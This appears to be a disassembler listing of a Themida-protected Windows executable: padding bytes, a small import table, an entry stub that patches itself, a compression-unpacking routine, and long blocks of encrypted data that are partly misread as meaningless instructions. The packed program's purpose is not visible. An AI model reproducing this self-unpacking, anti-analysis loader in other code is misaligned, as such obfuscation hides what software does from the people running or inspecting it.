db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_rsrc___ ends
; Section 3. (virtual address 0008E000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0008E000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 48E000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 8E050h, 8E000h, 3 dup(0)
dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 0008F000)
; Virtual size : 000E2000 ( 925696.)
; Section size in file : 000E2000 ( 925696.)
; Offset to raw data for section: 0008F000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 48F000h
dd 23041001h, 43AF2h, 52BB3h, 0C4172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004EDCB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004F1008 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004F127E SIZE 0000004C BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_48F086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_48F041
popa
jmp short loc_48F076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_48F041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_48F04E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_48F06D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_48F074
loc_48F06D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_48F04E
; ---------------------------------------------------------------------------
loc_48F074: ; CODE XREF: start+57j
mov edi, eax
loc_48F076: ; CODE XREF: start+1Bj
jmp loc_48F265
; ---------------------------------------------------------------------------
db 3
dd 0F26AB9C7h, 0CF030008h
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_48F086: ; CODE XREF: start+8j
mov eax, offset loc_4EDCB7
mov ecx, offset word_48F26A
push eax
push ecx
call sub_48F11B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_48F265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_48F11B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_48F127: ; CODE XREF: sub_48F11B:loc_48F13Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_48F132: ; CODE XREF: sub_48F11B+7Aj
; sub_48F11B+C3j ...
add dl, dl
jnz short loc_48F13B
mov dl, [esi]
inc esi
adc dl, dl
loc_48F13B: ; CODE XREF: sub_48F11B+19j
jnb short loc_48F127
add dl, dl
jnz short loc_48F146
mov dl, [esi]
inc esi
adc dl, dl
loc_48F146: ; CODE XREF: sub_48F11B+24j
jnb short loc_48F197
xor eax, eax
add dl, dl
jnz short loc_48F153
mov dl, [esi]
inc esi
adc dl, dl
loc_48F153: ; CODE XREF: sub_48F11B+31j
jnb loc_48F238
add dl, dl
jnz short loc_48F162
mov dl, [esi]
inc esi
adc dl, dl
loc_48F162: ; CODE XREF: sub_48F11B+40j
adc eax, eax
add dl, dl
jnz short loc_48F16D
mov dl, [esi]
inc esi
adc dl, dl
loc_48F16D: ; CODE XREF: sub_48F11B+4Bj
adc eax, eax
add dl, dl
jnz short loc_48F178
mov dl, [esi]
inc esi
adc dl, dl
loc_48F178: ; CODE XREF: sub_48F11B+56j
adc eax, eax
add dl, dl
jnz short loc_48F183
mov dl, [esi]
inc esi
adc dl, dl
loc_48F183: ; CODE XREF: sub_48F11B+61j
adc eax, eax
jz short loc_48F18D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_48F18D: ; CODE XREF: sub_48F11B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_48F132
; ---------------------------------------------------------------------------
loc_48F197: ; CODE XREF: sub_48F11B:loc_48F146j
mov eax, 1
loc_48F19C: ; CODE XREF: sub_48F11B:loc_48F1B0j
add dl, dl
jnz short loc_48F1A5
mov dl, [esi]
inc esi
adc dl, dl
loc_48F1A5: ; CODE XREF: sub_48F11B+83j
adc eax, eax
add dl, dl
jnz short loc_48F1B0
mov dl, [esi]
inc esi
adc dl, dl
loc_48F1B0: ; CODE XREF: sub_48F11B+8Ej
jb short loc_48F19C
sub eax, ebx
mov ebx, 1
jnz short loc_48F1E3
mov ecx, 1
loc_48F1C0: ; CODE XREF: sub_48F11B:loc_48F1D4j
add dl, dl
jnz short loc_48F1C9
mov dl, [esi]
inc esi
adc dl, dl
loc_48F1C9: ; CODE XREF: sub_48F11B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_48F1D4
mov dl, [esi]
inc esi
adc dl, dl
loc_48F1D4: ; CODE XREF: sub_48F11B+B2j
jb short loc_48F1C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_48F132
; ---------------------------------------------------------------------------
loc_48F1E3: ; CODE XREF: sub_48F11B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_48F1F1: ; CODE XREF: sub_48F11B:loc_48F205j
add dl, dl
jnz short loc_48F1FA
mov dl, [esi]
inc esi
adc dl, dl
loc_48F1FA: ; CODE XREF: sub_48F11B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_48F205
mov dl, [esi]
inc esi
adc dl, dl
loc_48F205: ; CODE XREF: sub_48F11B+E3j
jb short loc_48F1F1
cmp eax, 7D00h
jnb short loc_48F228
cmp eax, 500h
jb short loc_48F223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_48F132
; ---------------------------------------------------------------------------
loc_48F223: ; CODE XREF: sub_48F11B+F8j
cmp eax, 7Fh
ja short loc_48F22B
loc_48F228: ; CODE XREF: sub_48F11B+F1j
add ecx, 2
loc_48F22B: ; CODE XREF: sub_48F11B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_48F132
; ---------------------------------------------------------------------------
loc_48F238: ; CODE XREF: sub_48F11B:loc_48F153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_48F259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_48F132
; ---------------------------------------------------------------------------
loc_48F259: ; CODE XREF: sub_48F11B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_48F11B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_48F265: ; CODE XREF: start:loc_48F076j
; start+9Dj
jmp loc_4EDCB7
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_48F26A dw 38E9h ; DATA XREF: start+77o
dd 157334Ch, 7122AFBFh, 22EF1FE1h, 0EF1BE192h, 1EE19822h
dd 2E36F2EAh, 11FCBE10h, 0BA3E848Bh, 0C203AAA1h, 170541Dh
dd 4572FF85h, 3002DD7Ch, 59312D34h, 3DE7F33h, 74736552h
dd 41997261h, 0E92EC570h, 58C7F278h, 6854005Fh, 64696D65h
dd 0AABC6148h, 3DC24ACh, 33E4DF23h, 0DE37C23Dh, 3FC23545h
dd 0DC22915Fh, 597ED723h, 0BFAB1801h, 0FFBF01D1h, 46B82188h
dd 0EC8AD6BFh, 0C58BF1EAh, 5060D4C8h, 5D0AE8h, 335BED81h
dd 958905E2h, 0D0D6531h, 21EAC5B5h, 315185h, 417DBD83h
dd 0C74C00Fh, 7EE88B39h, 8F55B84Ch, 447078C2h, 3EBEE324h
dd 6A0C0BA0h, 29A3E845h, 749A0F68h
db 83h, 7, 4Ah
; ---------------------------------------------------------------------------
loc_48F32F: ; CODE XREF: Themida_:0048F3ADj
fisttp word ptr [edx]
add esp, ds:0D20A894Bh
aad 21h
jmp near ptr 0EC92F552h
; ---------------------------------------------------------------------------
dw 1FAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pop eax
out dx, al
pop edx
or [ecx+13449EAh], al
mov ebx, edx
mov dword ptr [ebp-28h], 0E630823h
inc eax
mov [edi], ebx
or [ecx+1D80987Dh], al
jz short loc_48F372
iret
; ---------------------------------------------------------------------------
dd 83E40820h, 0FF1093B3h, 0EB43120Ch
db 0E1h, 36h
; ---------------------------------------------------------------------------
loc_48F372: ; CODE XREF: Themida_:0048F361j
fsubr qword ptr [esi+61h]
db 26h
or cl, 0C2h
add al, 80h
inc esi
add esp, 2D1FF7Ch
dec ecx
enter 0FFFF8092h, 8Dh
inc ebp
or byte ptr [ebx-38D7F7A3h], 85h
sbb [ecx+0A408D50h], ecx
rol ebx, 1
mov ds:0B894118h, dl
adc al, 81h
mov ebp, 755D4006h
push edx
jecxz short loc_48F3CE
test [ebp-7F9BE246h], ecx
jnz short loc_48F32F
mov cl, [esi]
mov ebx, 15B92F4h
mov eax, 785437ABh
rcl eax, cl
stc
ja near ptr 0F7BE3ECCh
pusha
scasd
retn
; ---------------------------------------------------------------------------
db 47h
dd 8C4AA446h
db 46h, 54h
; ---------------------------------------------------------------------------
loc_48F3CE: ; CODE XREF: Themida_:0048F3A5j
stc
inc edx
rcl dword ptr [edi+61h], 1
mov al, [eax-30h] ; CODE XREF: Themida_:0048F3D6j
lock jmp short near ptr loc_48F3D3+1
; ---------------------------------------------------------------------------
db 14h, 0EEh, 45h
dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h, 7DC334DCh
dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah
dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh, 98FB8039h
dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h, 8FE660Ah
dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h
dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h, 0AACCA576h
dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh
dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8035D8h, 4947030Fh
dd 22B9FA75h, 0BBB86A8Bh, 972F101h, 6FEB823Bh, 868E0002h
dd 1CE337D2h, 1F655106h, 8AEEA236h, 0E9892677h, 675920F2h
dd 131FDC82h, 54DF6BD7h, 211D0498h, 3C4725Ch, 5255D8Ah
dd 8304582h, 5444211Bh, 697800C4h, 7D3ED63Ch, 0C30C2C82h
dd 25068E10h, 356300BCh, 67613A37h, 6C6E08Ch, 6F8E62C3h
dd 0CB67F0F1h, 398A0C34h, 765B4E00h, 51B8100Fh, 0D1043E3Dh
dd 46303B3Bh, 2E097552h, 0EC011EAh, 65E4EC48h, 0EA39A390h
dd 8E03C084h, 87E55496h, 40A8F53h, 8C8C29C2h, 0DBE7EC71h
dd 0FFB3A00Eh, 77812B0Ch, 11D2204h, 0F984C134h, 90207533h
dd 76773FBCh, 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh
dd 0E9EA45CFh, 0C4625060h, 4D8C5200h, 0AA821125h, 0ABCD84B1h
dd 1308845Ah, 0AEDA656h, 0F0EE825Eh, 440EA881h, 0B9FA8AAEh
dd 230513A2h, 0EA432897h, 0D8111360h, 0E5EB95h, 0CFDFF7Dh
dd 3B4344BBh, 0D699C71Eh, 0B8A2A940h, 488D678Bh, 572326DAh
dd 44C45F0Eh, 1962758Ah, 0C4574720h, 0FA7804ECh, 8681BBE8h
dd 5646467Fh, 88C45E1Ch, 1CC46D8Ah, 66564646h, 5AD0CE00h
dd 6BEA17CAh, 0CDC83A81h, 15C89BD5h, 1E927E6Dh, 8079F102h
dd 9C81874Bh, 0D801ABE7h, 10CA0B3Ch, 31B27586h, 60305886h
dd 468AE4C4h, 1A227Dh, 0F4C45848h, 0F2886AE0h, 0AE91518h
dd 729EAB1Dh, 0DFCF01B1h, 100750D3h, 0C85CD8C0h, 1BA8614h
dd 2F0232D1h, 0E42C40FDh, 0EAF015FEh, 51234838h, 44C4590Eh
dd 1E62458Ah, 514122h, 64FEFA8Eh, 0C0EF7C00h, 0BA610337h
dd 0DE5D0A9Eh, 4E416260h, 8AFA1E71h, 16272ECDh, 1588EB0Eh
dd 94B453C3h, 10DAFC83h, 1817A24Eh, 402909E9h, 0E6EB00F8h
dd 5CFD2FCDh, 0A576D482h, 59733105h, 39188410h, 1982DF46h
dd 125A93C1h, 0E42D3157h, 4A3DD6F0h, 5C628053h, 0F70F32BBh
dd 1D91981Ah, 8CF6F90Ah, 19490BE9h, 4E9F8900h, 8D23C25Fh
dd 26B776FBh, 33C098Ch, 2BEA82DBh, 0BC7AFFB8h, 0C87E50Fh
dd 54C2611Eh, 0E7303725h, 23730CE0h, 0D52E3EBAh, 2A34871Dh
dd 0FB009F69h, 8228C43h, 0DE93052h, 0E1291817h, 12DDC10Fh
dd 9C06A035h, 7F5C8AF6h, 14EA5090h, 0BFF7FECh, 0DBFBA9B0h
dd 9FA84400h, 0E91484D3h, 765EA03h, 964A8A4Bh, 583A6280h
dd 498338F3h, 0E0352CC8h, 82725FEh, 0EA92276Ah, 65A14920h
dd 0D5313AC1h, 2F3C50Dh, 251D80FAh, 0A528BA0Fh, 0A0AF0141h
dd 37F2DA06h, 92E0E69Dh, 29053422h, 5FEAD98Ch, 0FCFBDF90h
dd 0A0D57B96h, 0C3F5FDh, 68252E04h, 9435B24Fh, 95FC7100h
dd 0A0F31CACh, 579D0030h, 7E436BA5h, 0DC608859h, 7DCC0C20h
dd 0F4117F5Eh, 0A1621FFDh, 32374F5Dh, 0E6E0556Fh, 5B2DDFC4h
dd 74F50500h, 0AB8987B5h, 2162009Fh, 577DC57Fh, 0DB001BACh
dd 0AD322CFBh, 7E59517h, 0D20A543Ch, 5D2D1087h, 790093F6h
dd 8A0DB49Dh, 7B1F41BCh, 19BE00B7h, 0AAE56D97h, 0FC076BACh
dd 0EE0F58A2h, 7AC72B10h, 7DAE009h, 34D1A159h, 35701027h
dd 0F700E168h, 4B7A7CB6h, 601B0BBBh, 6495405Ch, 700D862h
dd 4084F4B4h, 3A7FDDD6h, 8A0FC8B9h, 808EF643h, 1AC91898h
dd 9E9A890Eh, 5409800Bh, 0C07D1314h, 99315D28h, 0E1617874h
dd 49116111h, 7D232A00h, 0D618DA60h, 0FBEFB1h, 76A7779Ah
dd 13655EA5h, 0F5BED400h, 84FFCD79h, 0DE2E3222h, 66615431h
dd 0BC1880C1h, 3862C20Ah, 0D6A1C75Bh, 5DBD03E4h, 0E33DACC0h
dd 0B17E6030h, 0DFDCC07Fh, 0D30C629h, 610C903Dh, 30AEBDB6h
dd 34AA5034h, 0BAE520CDh, 0C1EA440Eh, 0F129E066h, 0CD9A589h
dd 0CFC5D5ACh, 41772120h, 0A82E051Ch, 7448533Ch, 0C1BAFF06h
dd 0A08835A1h, 3F5018A7h, 731EA6h, 8247B3CDh, 8E687FF5h
dd 6153A0Eh, 31B7EC90h, 0ACE30943h, 930F222Ah, 407D7285h
dd 5796D6ACh, 0B9000233h, 0E25D0B34h, 30594266h, 56A86B79h
dd 49F82B4Ah, 0F04B2D33h, 0B5900A8Bh, 4088BC7Fh, 3A7D28D5h
dd 0C036A180h, 26C3D279h, 0C2014A2Bh, 5B83EFA9h, 16C8A8BBh
dd 636290C6h, 0DB7D41CAh, 0FB379107h, 81502775h, 4EE3F6h
dd 0BB04F9CAh, 0D51610D0h, 0E0A885E2h, 0CD343142h, 0EC04A863h
dd 0AE09AC86h, 37151802h, 0E39A3201h, 0C5AB6980h, 0FAF69242h
dd 2CCF6A00h, 50547716h, 3BBEE36h, 0C39165E6h, 43A2CA9Ch
dd 61ABDCA0h, 51DF2129h, 5EE3D502h, 0A10C4877h, 0C6F1C054h
dd 83C3796Dh, 0E8F9C700h, 0D1D01496h, 0B82A1D53h, 0DF2C80B0h
dd 0B4BA5F46h, 0E255F518h, 10BDDCB0h, 4642550h, 0B545E5FDh
dd 41F62882h, 0DE5D24h, 29103338h, 5CE3D60Ch, 18018188h
dd 30C6F9E6h, 6602A1D7h, 7D58BD5Fh, 3BC8A44Ah, 5A697F40h
dd 480098A6h, 4BACBFC6h, 2A383AC0h, 48C0D660h, 0FC00147Dh
dd 0F5AD7924h, 5F488654h, 3F407878h, 0DBBB247Fh, 0CFDA40E8h
dd 87120483h, 2C33DC29h, 0CC9D9011h, 50D0DC68h, 396D02B9h
dd 421A4392h, 0C9CC18BCh, 1B76F9h, 4D05BAAFh, 47C07A2Fh
dd 715DCA01h, 6625613Ah, 0A136F440h, 0B9D1C03Ch, 5B162D64h
dd 88722B00h, 2A8C778Fh, 860C1310h, 0D8140831h, 0B3DCA380h
dd 369FEB4h, 0BE91C8ECh, 28817DC2h, 0ADC56022h, 0BE08FFBh
dd 0B0A5ECE6h, 7A7002D6h, 6EC21980h, 0B68AB8A0h, 50609B29h
dd 10A7EA90h, 0BEECA841h, 88033A52h, 104D61BDh, 0E983060Eh
dd 40405487h, 96753799h, 0A6153C03h, 9893B714h, 7C1AF72h
dd 5B0D5FF9h, 0DE07D083h, 580E9574h, 8780BCBDh, 0C0AFF0B8h
dd 0CFC9BB9h, 0DD333CB2h, 6025500h, 1DB40984h, 78909200h
dd 7B5AF6E8h, 3F0F00A6h, 0BBF3892Eh, 570185AFh, 0CE9581CCh
dd 88D0BC28h, 0E9930053h, 9CC430DAh, 80998FE2h, 7B7D8Fh
dd 598C73A7h, 0CAD8F2C6h, 80ACD919h, 0D046BD38h, 21036399h
dd 4DC34B2Ah, 4C8194C7h, 1E04BCC5h, 38421088h, 55759291h
dd 0A1D6E509h, 5E6D5990h, 0B9108C32h, 6C5C03D4h, 9E7605DDh
dd 0E3D10A10h, 87C48963h, 0D2412092h, 0A4486DF5h, 2892C59Ah
dd 82972700h, 663B91DBh, 0A5831E4Ah, 0D2E60F25h, 1D6267E0h
dd 109144AAh, 0A9B40BBAh, 24488042h, 0F8E19D1Ch, 7E753059h
dd 22F7E998h, 297DF605h, 28885838h, 37A1247Ch, 6087BD0Ch
dd 1079C7C0h, 0A54BAF91h, 224EDC1Dh, 0DC0E6992h, 139587Dh
dd 5DE700A7h, 0CD607652h, 0C983E56h, 0C8F8E94Ch, 0C978813Fh
dd 70ABF4EDh, 20DE0130h, 29BC2A45h, 0A07386h, 97ABCF83h
dd 42AAF87Dh, 0DD8087F8h, 4BD1009Fh, 0A873295Fh, 0B6268915h
dd 748A1875h, 0A108D41Dh, 0E8601CFh, 8642C47Fh, 8359E3E1h
dd 6170C249h, 5D00747Dh, 6F5EDBBh, 5737BA0Dh, 0F431D94Fh
dd 9DA317Fh, 761F70h, 0F647BB28h, 0F8172097h, 0C5694962h
dd 69D8A7EEh, 5858488Ch, 11C4A07Bh, 9DA901BCh, 73EC01DBh
dd 0B98E06EBh, 887DE929h
